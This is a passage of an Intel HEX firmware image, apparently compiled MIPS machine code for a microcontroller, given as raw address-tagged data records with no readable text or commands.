:10551c009002c68f2b1086009402c38fa402c68ff4
:10552c0021286600211045002128400021808000a0
:10553c002188a0001800c48f05b8400f000000009f
:10554c00c2200300a802c4afac02c0afa802c58f32
:10555c000400a530b002c5afac02c68f0000c63047
:10556c00b402c6afb002c28f212002022b109000f1
:10557c00b402c38f212823022110450021284000aa
:10558c00218080002188a0001800c48f05b8400f2e
:10559c000000000042200300b802c4afbc02c0af40
:1055ac00b802c58f0800a530c002c5afbc02c68fbb
:1055bc000000c630c402c6afc002c28f2120020256
:1055cc002b109000c402c38f212823022110450008
:1055dc0021284000218080002188a0001800c48f61
:1055ec0005b8400f0000000002200300c802c4af41
:1055fc00cc02c0afc802c58fc2170500cc02c68f43
:10560c0040300600d402c6afd402c38f251043002d
:10561c00d402c2afc802c48f40200400d002c4af71
:10562c00d002c58f1000a530d802c5afd402c68fea
:10563c000000c630dc02c6afd802c28f21200202a5
:10564c002b109000dc02c38f21282302211045006f
:10565c0021284000218080002188a0001800c48fe0
:10566c0005b8400f0000000002200300e002c4afa8
:10567c00e402c0afe002c58f42170500e402c68ffa
:10568c00c0300600ec02c6afec02c38f25104300fd
:10569c00ec02c2afe002c48fc0200400e802c4af29
:1056ac00e802c58f2000a530f002c5afec02c68f12
:1056bc000000c630f402c6aff002c28f21200202f5
:1056cc002b109000f402c38f2128230221104500d7
:1056dc0021284000218080002188a0001800c48f60
:1056ec0005b8400f0000000002200300f802c4af10
:1056fc00fc02c0aff802c58fc2160500fc02c68fb3
:10570c00403106000403c6af0403c38f25104300c9
:10571c000403c2aff802c48f402104000003c4afdd
:10572c000003c58f4000a5300803c5af0403c68f26
:10573c000000c6300c03c6af0803c28f2120020242
:10574c002b1090000c03c38f21282302211045003d
:10575c0021284000218080002188a0001800c48fdf
:10576c0005b8400f00000000022003001003c4af76
:10577c001403c0af1003c58f421605001403c68f67
:10578c00c03106001c03c6af1c03c38f2510430099
:10579c001c03c2af1003c48fc02104001803c4af94
:1057ac001803c5932003c5af1c03c68f0000c63079
:1057bc002403c6af2003c28f212002022b109000bd
:1057cc002403c38f212823022110450021284000e7
:1057dc00219080002198a0001800c48f05b8400fbc
:1057ec0000000000c22303002803c4af2c03c0af89
:1057fc002803c58f0100a5303003c5af2c03c68f1d
:10580c000000c6303403c6af1800c48f05b8400f73
:10581c0000000000422303003803c4af3c03c0afb8
:10582c003803c58f0200a5304003c5af3c03c68fbb
:10583c000000c6304403c6af3003c28f4003c38f91
:10584c00212043003003c68f2b1086003403c38ff6
:10585c004403c68f212866002110450021284000f2
:10586c00218080002188a0001800c48f05b8400f4b
:10587c0000000000c22203004803c4af4c03c0afb9
:10588c004803c58f0400a5305003c5af4c03c68f29
:10589c000000c6305403c6af5003c28f2120020251
:1058ac002b1090005403c38f212823022110450094
:1058bc0021284000218080002188a0001800c48f7e
:1058cc0005b8400f00000000422203005803c4af8b
:1058dc005c03c0af5803c58f0800a5306003c5af8b
:1058ec005c03c68f0000c6306403c6af6003c28f72
:1058fc00212002022b1090006403c38f2128230265
:10590c002110450021284000218080002188a00022
:10591c001800c48f05b8400f0000000002220300dd
:10592c006803c4af6c03c0af6803c58fc217050012
:10593c006c03c68f403006007403c6af7403c38f6c
:10594c00251043007403c2af6803c48f40200400c9
:10595c007003c4af7003c58f1000a5307803c5afba
:10596c007403c68f0000c6307c03c6af7803c28fa9
:10597c00212002022b1090007c03c38f21282302cc
:10598c002110450021284000218080002188a000a2
:10599c001800c48f05b8400f00000000022203005d
:1059ac008003c4af8403c0af8003c58f42170500ca
:1059bc008403c68fc03006008c03c6af8c03c38f24
:1059cc00251043008c03c2af8003c48fc020040099
:1059dc008803c4af8803c58f2000a5309003c5afe2
:1059ec008c03c68f0000c6309403c6af9003c28fe1
:1059fc00212002022b1090009403c38f2128230234
:105a0c002110450021284000218080002188a00021
:105a1c001800c48f05b8400f0000000002220300dc
:105a2c009803c4af9c03c0af9803c58fc216050082
:105a3c009c03c68f40310600a403c6afa403c38fda
:105a4c0025104300a403c2af9803c48f4021040067
:105a5c00a003c4afa003c58f4000a530a803c5aff9
:105a6c00a403c68f0000c630ac03c6afa803c28f18
:105a7c00212002022b109000ac03c38f212823029b
:105a8c002110450021284000218080002188a000a1
:105a9c001800c48f05b8400f00000000022203005c
:105aac00b003c4afb403c0afb003c58f421605003a
:105abc00b403c68fc0310600bc03c6afbc03c38f92
:105acc0025104300bc03c2afb003c48fc021040037
:105adc00b803c4afb803c593c003c5afbc03c68f2e
:105aec000000c630c403c6afc003c28f212002021f
:105afc002b109000c403c38f2128230221104500d2
:105b0c0021284000211080002118a000022602004c
:105b1c00002a0300cc03c5afcc03c68f252086001a
:105b2c00cc03c4af00220200c803c4afc803c68fa5
:105b3c00212046022b109200cc03c38f2128630234
:105b4c00211045002128400021a0800021a8a000a0
:105b5c001800c48f05b8400f00000000c2250300d8
:105b6c00d003c4afd403c0afd003c58f0100a530a0
:105b7c00d803c5afd403c68f0000c630dc03c6af54
:105b8c001800c48f05b8400f000000004225030028
:105b9c00e003c4afe403c0afe003c58f0200a5303f
:105bac00e803c5afe403c68f0000c630ec03c6aff4
:105bbc00d803c28fe803c38f21204300d803c68fbc
:105bcc002b108600dc03c38fec03c68f21286600e4
:105bdc002110450021284000218080002188a00050
:105bec001800c48f05b8400f00000000c224030049
:105bfc00f003c4aff403c0aff003c58f0400a530ad
:105c0c00f803c5aff403c68f0000c630fc03c6af63
:105c1c00f803c28f212002022b109000fc03c38fcb
:105c2c0021282302211045002128400021808000da
:105c3c002188a0001800c48f05b8400f0000000098
:105c4c00422403000004c4af0404c0af0004c58f99
:105c5c000800a5300804c5af0404c68f0000c63088
:105c6c000c04c6af0804c28f212002022b10900036
:105c7c000c04c38f21282302211045002128400049
:105c8c00218080002188a0001800c48f05b8400f27
:105c9c0000000000022403001004c4af1404c0afc1
:105cac001004c58fc21705001404c68f40300600bf
:105cbc001c04c6af1c04c38f251043001c04c2afc8
:105ccc001004c48f402004001804c4af1804c58ffe
:105cdc001000a5302004c5af1c04c68f0000c630d0
:105cec002404c6af2004c28f212002022b10900086
:105cfc002404c38f212823022110450021284000b1
:105d0c00218080002188a0001800c48f05b8400fa6
:105d1c0000000000022403002804c4af2c04c0af10
:105d2c002804c58f421705002c04c68fc03006000e
:105d3c003404c6af3404c38f251043003404c2afff
:105d4c002804c48fc02004003004c4af3004c58fb5
:105d5c002000a5303804c5af3404c68f0000c6300f
:105d6c003c04c6af3804c28f212002022b109000d5
:105d7c003c04c38f21282302211045002128400018
:105d8c00218080002188a0001800c48f05b8400f26
:105d9c0000000000022403004004c4af4404c0af60
:105dac004004c58fc21605004404c68f403106005e
:105dbc004c04c6af4c04c38f251043004c04c2af37
:105dcc004004c48f402104004804c4af4804c58f6c
:105ddc004000a5305004c5af4c04c68f0000c6303f
:105dec005404c6af5004c28f212002022b10900025
:105dfc005404c38f21282302211045002128400080
:105e0c00218080002188a0001800c48f05b8400fa5
:105e1c0000000000022403005804c4af5c04c0afaf
:105e2c005804c58f421605005c04c68fc0310600ad
:105e3c006404c6af6404c38f251043006404c2af6e
:105e4c005804c48fc02104006004c4af6004c5931f
:105e5c006804c5af6404c68f0000c6306c04c6afbe
:105e6c006804c28f212002022b1090006c04c38f97
:105e7c002128230221104500212840002190800078
:105e8c002198a0001800c48f05b8400f0000000036
:105e9c00c22703007004c4af7404c0af1800c48fd1
:105eac0005b8400f00000000422f03007804c5af76
:105ebc007c04c0af7804c68f0200c6308004c6af25
:105ecc007c04c28f000042308404c2af7004c38fc4
:105edc008004c68f212066007004c38f2b108300b2
:105eec007404c68f8404c38f2128c300211045007d
:105efc0021284000218080002188a0001800c48f38
:105f0c0005b8400f00000000c22603008804c4af8f
:105f1c008c04c0af8804c58f0400a5309004c5afb5
:105f2c008c04c68f0000c6309404c6af9004c28f98
:105f3c00212002022b1090009404c38f21282302ed
:105f4c002110450021284000218080002188a000dc
:105f5c001800c48f05b8400f000000004226030053
:105f6c009804c4af9c04c0af9804c58f0800a5303a
:105f7c00a004c5af9c04c68f0000c630a404c6aff5
:105f8c00a004c28f212002022b109000a404c38f06
:105f9c002128230221104500212840002180800067
:105fac002188a0001800c48f05b8400f0000000025
:105fbc0002260300a804c4afac04c0afa804c58f6c
:105fcc00c2170500ac04c68f40300600b404c6af3f
:105fdc00b404c38f25104300b404c2afa804c48f0b
:105fec0040200400b004c4afb004c58f1000a5302d
:105ffc00b804c5afb404c68f0000c630bc04c6af2d
:10600c00b804c28f212002022b109000bc04c38f55
:10601c0021282302211045002128400021808000e6
:10602c002188a0001800c48f05b8400f00000000a4
:10603c0002260300c004c4afc404c0afc004c58fa3
:10604c0042170500c404c68fc0300600cc04c6af8e
:10605c00cc04c38f25104300cc04c2afc004c48f42
:10606c00c0200400c804c4afc804c58f2000a530ec
:10607c00d004c5afcc04c68f0000c630d404c6af64
:10608c00d004c48f211004022b205000d404c58fdf
:10609c002118250221208300211880002180400036
:1060ac00218860001800c48f05b8400f0000000064
:1060bc0002360300d804c6afdc04c0afd804c38fcb
:1060cc00c2160300dc04c48f40210400e404c4aff6
:1060dc00e404c58f25104500e404c2afd804c68f74
:1060ec0040310600e004c6afe004c28f40004230ed
:1060fc00e804c2afe404c38f00006330ec04c3af08
:10610c00e804c48f211004022b205000ec04c58f2e
:10611c0021182502212083002118800021804000b5
:10612c00218860001800c48f05b8400f00000000e3
:10613c0002360300f004c6aff404c0aff004c38f02
:10614c0042160300f404c48fc0210400fc04c4af45
:10615c00fc04c58f25104500fc04c2aff004c68fab
:10616c00c0310600f804c6aff804c2930005c2aff4
:10617c00fc04c38f000063300405c3af0005c48f5b
:10618c00211004022b2050000405c58f2118250274
:10619c002120830021188000022602000032030017
:1061ac000c05c6af0c05c58f252085000c05c4afaa
:1061bc00003202000805c6af0805c48f2110440246
:1061cc002b2052000c05c58f21186502212083005d
:1061dc002118800002240200003403001405c6af0d
:1061ec001405c58f252085001405c4af00340200aa
:1061fc001005c6af1005c48f211084022b2054004b
:10620c001405c58f2118a5022120830021188000b8
:10621c00003002001c05c6af1805c0af1805c48fae
:10622c002110c4022b2056001c05c58f2118e50235
:10623c0021208300211880002000c2af2400c3afae
:10624c001c00c28f010042241800c2af1800c48f7a
:10625c0020000524c658410f000000001c00c2afee
:10626c001c00c28f0800401400000000059d023c79
:10627c00f88944240413410f000000002110000091
:10628c007b9a400b000000001c00c28f000040a055
:10629c001800c48f7b4b410f0000000021184000f8
:1062ac00080002240800621000000000059d023c5a
:1062bc00088a44240413410f000000002110000040
:1062cc007b9a400b000000001800c48fa8b7400f49
:1062dc0000000000c2110200010050301800c48ff1
:1062ec00a8b7400f0000000042110200020042302b
:1062fc00218002021800c48fa8b7400f00000000d4
:10630c00c210020004004230218002021800c48f27
:10631c00a8b7400f000000004210020008004230f5
:10632c00218002021800c48fa8b7400f00000000a3
:10633c004010020010004230218002021800c48f6d
:10634c00a8b7400f00000000c0100200200042302f
:10635c00218002021800c48fa8b7400f0000000073
:10636c004011020040004230218002021800c48f0c
:10637c00a8b7400f00000000c0110200ff0042301f
:10638c00218002021800c48fa8b7400f0000000043
:10639c00c2130200010051301800c48fa8b7400f7f
:1063ac000000000042130200020042302188220249
:1063bc001800c48fa8b7400f00000000c2120200e2
:1063cc0004004230218822021800c48fa8b7400f65
:1063dc000000000042120200080042302188220214
:1063ec001800c48fa8b7400f000000000212020072
:1063fc004010020010004230218822021800c48f85
:10640c00a8b7400f0000000002120200c0100200ea
:10641c0020004230218822021800c48fa8b7400ff8
:10642c000000000002120200401102004000423045
:10643c00218822021800c48fa8b7400f000000006a
:10644c0002120200c0110200ff0042302110220291
:10645c0000120200218002021800c48fa8b7400f5e
:10646c0000000000c2150200010051301800c48f5a
:10647c00a8b7400f00000000421502000200423095
:10648c00218822021800c48fa8b7400f000000001a
:10649c00c214020004004230218822021800c48f6a
:1064ac00a8b7400f00000000421402000800423060
:1064bc00218822021800c48fa8b7400f00000000ea
:1064cc000214020040100200100042302188220207
:1064dc001800c48fa8b7400f00000000021402007f
:1064ec00c010020020004230218822021800c48f04
:1064fc00a8b7400f00000000021402004011020077
:10650c0040004230218822021800c48fa8b7400fe7
:10651c000000000002140200c0110200ff00423013
:10652c00218822021800c48fa8b7400f0000000079
:10653c00c29702001800c48fa8b7400f00000000db
:10654c004217020002004230219042021800c48f10
:10655c00a8b7400f00000000c21602000400423031
:10656c00219042021800c48fa8b7400f0000000011
:10657c004216020008004230219042021800c48fdb
:10658c00a8b7400f000000000216020040100200e5
:10659c0010004230219042021800c48fa8b7400f5f
:1065ac000000000002160200c01002002000423061
:1065bc00219042021800c48fa8b7400f00000000c1
:1065cc0002160200401102004000423021904202ab
:1065dc001800c48fa8b7400f00000000021602007c
:1065ec00c0110200ff0042302110420200120200d2
:1065fc002110220200140200211002022800c2af56
:10660c001c00c28f010042241800c2af1800c48fb6
:10661c007b4b410f000000002118400008000224b1
:10662c000800621000000000059d023c388a4424da
:10663c000413410f00000000211000007b9a400b56
:10664c00000000001800c48fa8b7400f0000000025
:10665c00c2110200010050301800c48fa8b7400fbf
:10666c0000000000421102000200423021800202b0
:10667c001800c48fa8b7400f00000000c210020021
:10668c0004004230218002021800c48fa8b7400fca
:10669c00000000004210020008004230218002027b
:1066ac001800c48fa8b7400f000000004010020073
:1066bc0010004230218002021800c48fa8b7400f8e
:1066cc0000000000c01002002000423021800202b5
:1066dc001800c48fa8b7400f000000004011020042
:1066ec0040004230218002021800c48fa8b7400f2e
:1066fc0000000000c0110200ff00423021800202a5
:10670c001800c48fa8b7400f00000000c21302008d
:10671c00010051301800c48fa8b7400f00000000d2
:10672c004213020002004230218822021800c48f5a
:10673c00a8b7400f00000000c21202000400423053
:10674c00218822021800c48fa8b7400f0000000057
:10675c004212020008004230218822021800c48f25
:10676c00a8b7400f00000000021202004010020007
:10677c0010004230218822021800c48fa8b7400fa5
:10678c000000000002120200c01002002000423083
:10679c00218822021800c48fa8b7400f0000000007
:1067ac0002120200401102004000423021882202f5
:1067bc001800c48fa8b7400f00000000021202009e
:1067cc00c0110200ff004230211022020012020010
:1067dc00218002021800c48fa8b7400f00000000ef
:1067ec00c2150200010051301800c48fa8b7400f29
:1067fc0000000000421502000200423021882202f3
:10680c001800c48fa8b7400f00000000c21402008b
:10681c0004004230218822021800c48fa8b7400f10
:10682c0000000000421402000800423021882202bd
:10683c001800c48fa8b7400f00000000021402001b
:10684c004010020010004230218822021800c48f30
:10685c00a8b7400f0000000002140200c010020094
:10686c0020004230218822021800c48fa8b7400fa4
:10687c0000000000021402004011020040004230ef
:10688c00218822021800c48fa8b7400f0000000016
:10689c0002140200c0110200ff00423021882202c3
:1068ac001800c48fa8b7400f00000000c297020068
:1068bc001800c48fa8b7400f000000004217020058
:1068cc0002004230219042021800c48fa8b7400f3a
:1068dc0000000000c2160200040042302190420267
:1068ec001800c48fa8b7400f000000004216020029
:1068fc0008004230219042021800c48fa8b7400f04
:10690c00000000000216020040100200100042308d
:10691c00219042021800c48fa8b7400f000000005d
:10692c0002160200c01002002000423021904202e8
:10693c001800c48fa8b7400f000000000216020018
:10694c004011020040004230219042021800c48fd6
:10695c00a8b7400f0000000002160200c011020090
:10696c00ff004230211042020012020021102202cc
:10697c0000140200211002022c00c2af2800c28faa
:10698c001000a2af2c00c28f1400a2af00a0023cda
:10699c00e06944242000c68f2400c78fba01410f40
:1069ac00000000004805c28f059d033c688a658c79
:1069bc00688a64240400848c030045a8000045b850
:1069cc00070044a8040044b8688a63240800649053
:1069dc00080044a009006390090043a001000224b0
:1069ec0021e8c0034405bf8f4005be8f3c05b78f1f
:1069fc003805b68f3405b58f3005b48f2c05b38fa1
:106a0c002805b28f2405b18f2005b08f4805bd270e
:106a1c000800e0030000000090ffbd276c00bfaf32
:106a2c006800beaf21f0a0037000c4af7400c5af06
:106a3c007400c48f7b4b410f0000000021184000f4
:106a4c00080002240800621000000000059d023cb2
:106a5c00748a44240413410f00000000211000002c
:106a6c00bf9a400b000000007400c48f8db7400f1c
:106a7c00000000001000c2af1000c48f20000524dd
:106a8c00dab2400f000000001400c3272120600080
:106a9c0021284000200006244cb6400f00000000c6
:106aac004000c3271400c227212060002128400089
:106abc00200006248eba400f000000003400c327cb
:106acc001400c22721206000212840002000062449
:106adc0047b9400f000000003400c2277000c48f7b
:106aec0021284000574a410f0000000001000224f9
:106afc0021e8c0036c00bf8f6800be8f7000bd27fb
:106b0c000800e0030000000078ffbd278400bfaf41
:106b1c008000beaf21f0a0038800c4af8c00c5afcd
:106b2c008c00c48f7b4b410f000000001000c2afe3
:106b3c001000c28f21004228080040140000000001
:106b4c00059d023c9c8a44240413410f0000000064
:106b5c0021100000019b400b000000003800c227f0
:106b6c00212040008c00c58f5bba400f0000000054
:106b7c001000c28fff0042303800c3272120600074
:106b8c002128400028b7400f000000001400c2afbd
:106b9c001000c28fff0042301400c48f2128400027
:106bac00dab2400f00000000211840001000c28f24
:106bbc001800c42721286000213040004cb6400f3b
:106bcc00000000001000c28f5800c4271800c32713
:106bdc0021286000213040008eba400f00000000d8
:106bec005800c2278800c48f21284000574a410f03
:106bfc00000000000100022421e8c0038400bf8fc4
:106c0c008000be8f8800bd270800e0030000000054
:106c1c00e8ffbd271400bfaf1000beaf21f0a003ea
:106c2c001800c4af1c00c5af1800c48f1c00c58f62
:106c3c00899a400f0000000021e8c0031400bf8fa8
:106c4c001000be8f1800bd270800e00300000000f4
:106c5c00e8ffbd271400bfaf1000beaf21f0a003aa
:106c6c001800c4af1c00c5af1800c48f1c00c58f22
:106c7c00c59a400f0000000021e8c0031400bf8f2c
:106c8c001000be8f1800bd270800e00300000000b4
:106c9c00e0febd271c01bfaf1801beaf21f0a00361
:106cac002001c4af2401c5af00a0023cdc24422467
:106cbc001c00c2af2000c0af059d023c2c864424b2
:106ccc000413410f000000002400c22721204000c3
:106cdc00b6ad400f0000000008004014000000009a
:106cec00059d023c308644240413410f0000000033
:106cfc0021100000009c400b000000003000c32756
:106d0c002400c2272120600021284000cbb8400f6e
:106d1c00000000002401c48f20000524c658410f38
:106d2c00000000002000c2af2000c28f08004014f9
:106d3c0000000000059d023c448644240413410fce
:106d4c000000000021100000009c400b000000001f
:106d5c002000c28f000040a05000c227212040001c
:106d6c002401c58fcbb8400f000000002118400053
:106d7c00200002240800621000000000059d023c67
:106d8c00688644240413410f000000002110000009
:106d9c00009c400b000000002000c28f0100422428
:106dac005000c327200063242120600021284000cc
:106dbc00cbb8400f00000000211840002000022436
:106dcc000800621000000000059d023c84864424eb
:106ddc000413410f0000000021100000009c400b28
:106dec00000000009000c3275000c2272120600043
:106dfc0021284000438e400f000000000800401482
:106e0c0000000000059d023ca08644240413410fa1
:106e1c000000000021100000009c400b000000004e
:106e2c009000c5275000c3273000c2271c00c48f18
:106e3c002130600021384000cc8e400f0000000053
:106e4c000800401400000000059d023cc886442444
:106e5c000413410f0000000021100000009c400ba7
:106e6c000000000028000224ec00c2afe09b400ba5
:106e7c0000000000f000c0af5000c22721204000ed
:106e8c00069c400f000000000800401400000000a9
:106e9c00059d023cc48a44240413410f00000000e9
:106eac0021100000009c400b00000000c19b400b17
:106ebc0000000000ec00c58ff000c3275000c22773
:106ecc001c00c48f21306000213840003e9c400fd4
:106edc00000000000800401400000000059d023c6a
:106eec00e48a44240413410f000000002110000028
:106efc00009c400b00000000ec00c38ff000c28f20
:106f0c002310620034004228eaff40100000000009
:106f1c00f000c38fec00c5275000c2273000c427f7
:106f2c001000a4af1c00c48f213060002138400039
:106f3c00be9c400f00000000080040140000000040
:106f4c00059d023c0c8b44240413410f00000000ef
:106f5c0021100000009c400b00000000ec00c28fd0
:106f6c00059d033c348b6424212840000413410ffd
:106f7c0000000000ec00c28f00084228bdff401446
:106f8c00000000001800c0aff99b400b000000008f
:106f9c001800c28f1c00c38f21106200a800c327e9
:106fac0021206000212840000001062447b9400f31
:106fbc0000000000a800c227059d033c588b6424e8
:106fcc00212840000413410f000000001800c28f5c
:106fdc00000142241800c2af1800c28f00084228da
:106fec00ebff4014000000002001c28f000040a005
:106ffc000100022421e8c0031c01bf8f1801be8fc1
:10700c002001bd270800e00300000000c8ffbd27d9
:10701c003400bfaf3000beaf21f0a0033800c4afc6
:10702c001800c22721204000b6ad400f0000000020
:10703c000800401400000000059d023c608b4424b5
:10704c000413410f0000000021100000389c400b7d
:10705c0000000000088180af1800c22721204000ea
:10706c00b6ad400f00000000080040140000000006
:10707c00059d023c8c8b44240413410f000000003e
:10708c0021100000389c400b000000002400c22797
:10709c001000a0af212040003800c58f400006240e
:1070ac0003000724c290400f0000000008004014a9
:1070bc0000000000059d023cc48b44240413410fc6
:1070cc000000000021100000389c400b0000000064
:1070dc000100022421e8c0033400bf8f3000be8fb2
:1070ec003800bd270800e00300000000c8fbbd27e6
:1070fc003404bfaf3004beaf21f0a0033804c4afda
:10710c003c04c5af4004c6af4404c7af4004c28fb3
:10711c000000428c3c04c38f23106200d6ff422433
:10712c001800c2af1800c28f0a0042280800401095
:10713c0000000000059d023cf48b44240413410f15
:10714c000000000021100000b89c400b0000000063
:10715c001800c28fff0142280300401400000000f9
:10716c00fe0102241800c2af1800c28f6666033cf1
:10717c00676663341800430010180000831803007e
:10718c00c3170200231062002000c2af1c00c0af66
:10719c00779c400b000000001c00c28f40100200c6
:1071ac0080180200211043002400c3272110620024
:1071bc0021204000059d023cf88745245bba400f16
:1071cc00000000001c00c28f010042241c00c2af52
:1071dc001c00c38f2000c28f2a106200eeff4014e7
:1071ec00000000004004c28f0000428c3804c38fa2
:1071fc00211862002000c28f401002008020020083
:10720c00211044002402c4272400c527213060002b
:10721c0021384000d48f400f000000002000c28fa6
:10722c004010020080180200211043002404c427df
:10723c002402c3271000a0af212860002130400099
:10724c0003000724c290400f000000000800401407
:10725c0000000000059d023c248c44240413410fc3
:10726c000000000021100000b89c400b0000000042
:10727c002404c22721204000059d023c3087452470
:10728c00544e410f000000000800401400000000a4
:10729c00059d023c588c44240413410f000000004f
:1072ac0021100000b89c400b000000004004c28f6d
:1072bc000000438c2000c28f40100200802002008e
:1072cc002110440020004224211862004004c28f87
:1072dc00000043ac21e8c0033404bf8f3004be8fe0
:1072ec003804bd270800e00300000000a8fbbd2700
:1072fc005404bfaf5004beaf21f0a0035804c4af78
:10730c005c04c5af6004c6af6404c7af5c04c28f35
:10731c000000438c6004c28f231062001c00c2afbb
:10732c001c00c28f0a004228080040100000000018
:10733c00059d023c988c44240413410f000000006e
:10734c0021100000469d400b000000001c00c28f65
:10735c006666033c6766633418004300101800002f
:10736c0083180300c3170200231062002000c2af71
:10737c001800c0aff09c400b000000001800c28f3a
:10738c004010020080180200211043002400c32783
:10739c002110620021204000059d023cf887452405
:1073ac005bba400f000000001800c28f010042249d
:1073bc001800c2af1800c38f2000c28f2a106200c1
:1073cc00eeff4014000000006004c28f5804c38f0d
:1073dc00211862002000c28f4010020080200200a1
:1073ec00211044002402c4272400c527213060004a
:1073fc0021384000d48f400f000000002000c28fc5
:10740c004010020080180200211043002404c427fd
:10741c002402c3271000a0af2128600021304000b7
:10742c0003000724c290400f000000000800401425
:10743c0000000000059d023cc88c44240413410f3d
:10744c000000000021100000469d400b00000000d1
:10745c002404c22721204000059d023c308745248e
:10746c00544e410f000000000800401400000000c2
:10747c00059d023cfc8c44240413410f00000000c9
:10748c0021100000469d400b000000003004c32773
:10749c002404c2272120600021284000cbb8400fd3
:1074ac00000000002000c28f401002008018020073
:1074bc0021104300211840006004c28f211062008b
:1074cc005804c38f211862003004c22721206000a9
:1074dc00212840006804c68f20000724d48f400f59
:1074ec00000000002000c28f401002008018020033
:1074fc00211843006004c28f211062002000432435
:10750c005c04c28f000043ac0100022421e8c003dc
:10751c005404bf8f5004be8f5804bd270800e003ed
:10752c0000000000d8ffbd272400bfaf2000beaf75
:10753c0021f0a0032800c4af2c00c5af3000c6afab
:10754c002800c28f000040a01400c2272120400058
:10755c002c00c58f5bae400f000000005c0040109b
:10756c00000000001000c0af829d400b0000000026
:10757c001400c227212040001000c58f1000c68fb8
:10758c00a444410f0000000014004014000000004f
:10759c001400c227212040002c00c58f5bae400f89
:1075ac000000000004004014000000002110000046
:1075bc00b89d400b00000000059d023c3c8d448ca6
:1075cc003c8d43240400638c1400c4af1800c3af7b
:1075dc003c8d4224080042901c00c2a31400c22718
:1075ec002800c48f212840009757410f000000004d
:1075fc001000c28f010042241000c2af1000c28fd5
:10760c0008004228daff4014000000003000c28f4e
:10761c0029004010000000001c00c0a31000c0afe7
:10762c00a59d400b00000000059d023c488d4424a4
:10763c001000c58f6913410f000000001000c28fad
:10764c00c01002002800c38f211062001400c32751
:10765c00212060002128400008000624214b410f06
:10766c00000000001400c227059d033c588b6424c5
:10767c00212840000413410f000000001000c28fad
:10768c00010042241000c2af1000c28f0800422833
:10769c00e5ff401400000000059d023c508d442481
:1076ac00059d023c2c8645240413410f000000006c
:1076bc00b49d400b000000002800c48fd29d400fe9
:1076cc000000000001000224b89d400b00000000e7
:1076dc002110000021e8c0032400bf8f2000be8fc2
:1076ec002800bd270800e00300000000e0ffbd27d4
:1076fc001c00bfaf1800beaf21f0a0031000c0af3c
:10770c00079d023cffbf44341000c22721284000d3
:10771c000400062400a0023c5c4547246e4d410f3a
:10772c000000000021e8c0031c00bf8f1800be8fb2
:10773c002000bd270800e00300000000e0ffbd278b
:10774c001c00bfaf1800beaf21f0a0032000c4afd7
:10775c001400c22721204000079d023cffbf453486
:10776c0004000624214b410f000000001400c28fbe
:10777c007f00422c04004014000000002110000087
:10778c00099e400b000000002000c48f0f9e400f8c
:10779c00000000001000c2af1000c28f04004010a7
:1077ac000000000001000224099e400b00000000b4
:1077bc001400c28f80190200079d023c03c04234a2
:1077cc00211062001000c2af1000c48f2000c58fc2
:1077dc004000062400a0023c5c4547246e4d410f3e
:1077ec00000000001400c28f010042241400c2af3c
:1077fc001400c227079d033cffbf643421284000be
:10780c000400062400a0023c5c4547246e4d410f49
:10781c00000000000100022421e8c0031c00bf8fff
:10782c001800be8f2000bd270800e00300000000f8
:10783c00d8ffbd272400bfaf2000beaf21f0a003ae
:10784c002800c4af1000c0af1400c0af1800c2278e
:10785c0021204000079d023cffbf45340400062454
:10786c00214b410f000000001800c28f8000422cf9
:10787c000800401400000000059d023c548d442477
:10788c000413410f0000000021100000449e400b27
:10789c00000000001400c0af079d023c03c042343e
:1078ac001000c2af3e9e400b000000002800c48fa9
:1078bc001000c58f400006240954410f0000000041
:1078cc0004004014000000001000c28f449e400bc6
:1078dc00000000001400c28f010042241400c2af4b
:1078ec001000c28f400042241000c2af1800c28f9b
:1078fc001400c38f2b106200ecff4014000000003a
:10790c002110000021e8c0032400bf8f2000be8f8f
:10791c002800bd270800e00300000000e0ffbd27a1
:10792c001c00bfaf1800beaf21f0a0031000c2278f
:10793c0021204000079d023cffbf45340400062473
:10794c00214b410f00000000059d023c2c86442475
:10795c000413410f000000001000c28f8000422c65
:10796c000800401400000000059d023c788d442462
:10797c000413410f00000000211000006b9e400b0f
:10798c00000000001000c28f059d033c908d642404
:10799c00212840000413410f0000000001000224c4
:1079ac0021e8c0031c00bf8f1800be8f2000bd272c
:1079bc000800e00300000000d0ffbd272c00bfaf83
:1079cc002800beaf21f0a0033000c4af3400c5af17
:1079dc001800c22721204000079d023cffbf453400
:1079ec0004000624214b410f00000000059d023cc1
:1079fc002c8644240413410f000000001800c28f91
:107a0c000800401400000000059d023ca48d442495
:107a1c000413410f0000000001000224ea9e400bf9
:107a2c00000000003000c28f050040140000000070
:107a3c00010002243000c2af1800c28f3400c2af64
:107a4c001800c28f8000422c100040100000000073
:107a5c001800c28f3000c38f2b1043000b00401452
:107a6c00000000003400c38f3000c28f2b10620066
:107a7c0006004014000000001800c28f3400c38fb1
:107a8c002b1043000800401000000000059d023c34
:107a9c00bc8d44240413410f000000002110000091
:107aac00ea9e400b000000002400c0a33000c28fef
:107abc001000c2afe49e400b00000000059d023c8c
:107acc00d48d44241000c58f0413410f0000000016
:107adc001400c0afd99e400b00000000059d023c75
:107aec00488d44241400c58f0413410f000000007e
:107afc001000c38fff03023cffff423421106200d1
:107b0c00801902001400c28fc010020021186200fc
:107b1c00079d023c03c04234211062001c00c327a5
:107b2c00212060002128400008000624214b410f31
:107b3c00000000001c00c227059d033c588b6424e8
:107b4c00212840000413410f000000001400c28fd4
:107b5c00010042241400c2af1400c28f0800422856
:107b6c00deff401400000000059d023c2c864424de
:107b7c000413410f000000001000c28f01004224ca
:107b8c001000c2af1000c38f3400c28f2b10430003
:107b9c00caff4010000000000100022421e8c003cd
:107bac002c00bf8f2800be8f3000bd270800e003db
:107bbc0000000000f0ffbd270c00beaf21f0a003b9
:107bcc0088bf023c0002033c741043ac88bf023ceb
:107bdc00ff000324205243ac88bf023cff00032467
:107bec00005243ac88bf023c005340ac88bf023cff
:107bfc00105342240400c2af0100c0a30c9f400be1
:107c0c00000000000400c28f000040ac0400c28fd2
:107c1c00100042240400c2af0100c29301004224b0
:107c2c000100c2a30100c2930300422cf5ff4014d3
:107c3c000000000088bf023ce05240ac88bf023c10
:107c4c009f000324305243ac88bf023c9f000324a6
:107c5c00105243ac88bf023c7050428c0f00433032
:107c6c0088bf023c705043ac88bf023c7050438cc0
:107c7c0088bf023c705043ac88bf033c805062907c
:107c8c00010004240400827c805062a000a0023c0d
:107c9c00001c422400e0427c021e020088bf023c11
:107cac00d05243ac00a0023c001c422400e0427cb9
:107cbc00021c020088bf023cc05243ac00a0023c34
:107ccc00001c422400e0427c021a020088bf023ce5
:107cdc00705243ac0000c0a3479f400b0000000053
:107cec000000c39300a0023cc0180300001c4224f7
:107cfc00211062002120000021280000000044ac6b
:107d0c00040045ac0000c293010042240000c2a351
